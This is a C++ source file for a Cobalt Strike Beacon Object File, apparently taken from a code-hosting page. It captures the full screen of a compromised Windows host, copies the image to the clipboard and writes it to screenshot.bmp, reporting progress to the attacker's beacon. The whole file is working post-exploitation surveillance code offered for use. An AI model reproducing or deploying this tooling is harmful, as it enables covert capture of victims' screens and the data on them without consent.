151 lines
4.3 KiB
C++
151 lines
4.3 KiB
C++
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include "bofdefs.h"
|
|
#pragma comment(lib, "User32.lib")
|
|
#pragma comment(lib, "Gdi32.lib")
|
|
|
|
|
|
|
|
#pragma region error_handling
|
|
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
|
|
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
|
|
#ifdef BOF
|
|
BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
|
|
#else
|
|
printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
|
|
#endif // BOF
|
|
|
|
return FALSE;
|
|
}
|
|
#pragma endregion
|
|
|
|
|
|
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
|
|
{
|
|
HDC hDC;
|
|
int iBits;
|
|
WORD wBitCount;
|
|
DWORD dwPaletteSize = 0, dwBmBitsSize = 0, dwDIBSize = 0, dwWritten = 0;
|
|
BITMAP Bitmap0;
|
|
BITMAPFILEHEADER bmfHdr;
|
|
BITMAPINFOHEADER bi;
|
|
LPBITMAPINFOHEADER lpbi;
|
|
HANDLE fh, hDib, hPal, hOldPal2 = NULL;
|
|
hDC = CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);
|
|
iBits = GetDeviceCaps(hDC, BITSPIXEL) * GetDeviceCaps(hDC, PLANES);
|
|
DeleteDC(hDC);
|
|
if (iBits <= 1)
|
|
wBitCount = 1;
|
|
else if (iBits <= 4)
|
|
wBitCount = 4;
|
|
else if (iBits <= 8)
|
|
wBitCount = 8;
|
|
else
|
|
wBitCount = 24;
|
|
GetObject(hBitmap, sizeof(Bitmap0), (LPSTR)&Bitmap0);
|
|
bi.biSize = sizeof(BITMAPINFOHEADER);
|
|
bi.biWidth = Bitmap0.bmWidth;
|
|
bi.biHeight = -Bitmap0.bmHeight;
|
|
bi.biPlanes = 1;
|
|
bi.biBitCount = wBitCount;
|
|
bi.biCompression = BI_RGB;
|
|
bi.biSizeImage = 0;
|
|
bi.biXPelsPerMeter = 0;
|
|
bi.biYPelsPerMeter = 0;
|
|
bi.biClrImportant = 0;
|
|
bi.biClrUsed = 256;
|
|
dwBmBitsSize = ((Bitmap0.bmWidth * wBitCount + 31) & ~31) / 8
|
|
* Bitmap0.bmHeight;
|
|
hDib = GlobalAlloc(GHND, dwBmBitsSize + dwPaletteSize + sizeof(BITMAPINFOHEADER));
|
|
lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
|
|
*lpbi = bi;
|
|
|
|
hPal = GetStockObject(DEFAULT_PALETTE);
|
|
if (hPal)
|
|
{
|
|
hDC = GetDC(NULL);
|
|
hOldPal2 = SelectPalette(hDC, (HPALETTE)hPal, FALSE);
|
|
RealizePalette(hDC);
|
|
}
|
|
|
|
|
|
GetDIBits(hDC, hBitmap, 0, (UINT)Bitmap0.bmHeight, (LPSTR)lpbi + sizeof(BITMAPINFOHEADER)
|
|
+ dwPaletteSize, (BITMAPINFO*)lpbi, DIB_RGB_COLORS);
|
|
|
|
if (hOldPal2)
|
|
{
|
|
SelectPalette(hDC, (HPALETTE)hOldPal2, TRUE);
|
|
RealizePalette(hDC);
|
|
ReleaseDC(NULL, hDC);
|
|
}
|
|
|
|
fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
|
|
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
|
|
|
|
if (fh == INVALID_HANDLE_VALUE)
|
|
return FALSE;
|
|
|
|
bmfHdr.bfType = 0x4D42; // "BM"
|
|
dwDIBSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwPaletteSize + dwBmBitsSize;
|
|
bmfHdr.bfSize = dwDIBSize;
|
|
bmfHdr.bfReserved1 = 0;
|
|
bmfHdr.bfReserved2 = 0;
|
|
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize;
|
|
|
|
WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
|
|
|
|
WriteFile(fh, (LPSTR)lpbi, dwDIBSize, &dwWritten, NULL);
|
|
GlobalUnlock(hDib);
|
|
GlobalFree(hDib);
|
|
CloseHandle(fh);
|
|
return TRUE;
|
|
}
|
|
|
|
#ifdef BOF
|
|
void go(char* buff, int len) {
|
|
BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to disk");
|
|
int x1, y1, x2, y2, w, h;
|
|
// get screen dimensions
|
|
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
|
y1 = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
|
x2 = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
|
y2 = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
|
w = x2 - x1;
|
|
h = y2 - y1;
|
|
|
|
// copy screen to bitmap
|
|
HDC hScreen = GetDC(NULL);
|
|
HDC hDC = CreateCompatibleDC(hScreen);
|
|
HBITMAP hBitmap = CreateCompatibleBitmap(hScreen, w, h);
|
|
HGDIOBJ old_obj = SelectObject(hDC, hBitmap);
|
|
BOOL bRet = BitBlt(hDC, 0, 0, w, h, hScreen, x1, y1, SRCCOPY);
|
|
|
|
//I was going to pull from the clipboard but then realized it
|
|
//was more trouble than it was worth, so I just saved it to a file. ~ CodeX
|
|
|
|
// save bitmap to clipboard
|
|
OpenClipboard(NULL);
|
|
EmptyClipboard();
|
|
SetClipboardData(CF_BITMAP, hBitmap);
|
|
CloseClipboard();
|
|
|
|
BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap...");
|
|
LPCSTR filename = "screenshot.bmp";
|
|
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename);
|
|
|
|
BeaconPrintf(0x0, "[+] Printscreen bitmap saved to screenshot.bmp");
|
|
// clean up
|
|
SelectObject(hDC, old_obj);
|
|
DeleteDC(hDC);
|
|
ReleaseDC(NULL, hScreen);
|
|
DeleteObject(hBitmap);
|
|
}
|
|
|
|
|
|
#else
|
|
|
|
void main(int argc, char* argv[]) {
|
|
|
|
}
|
|
|
|
#endif |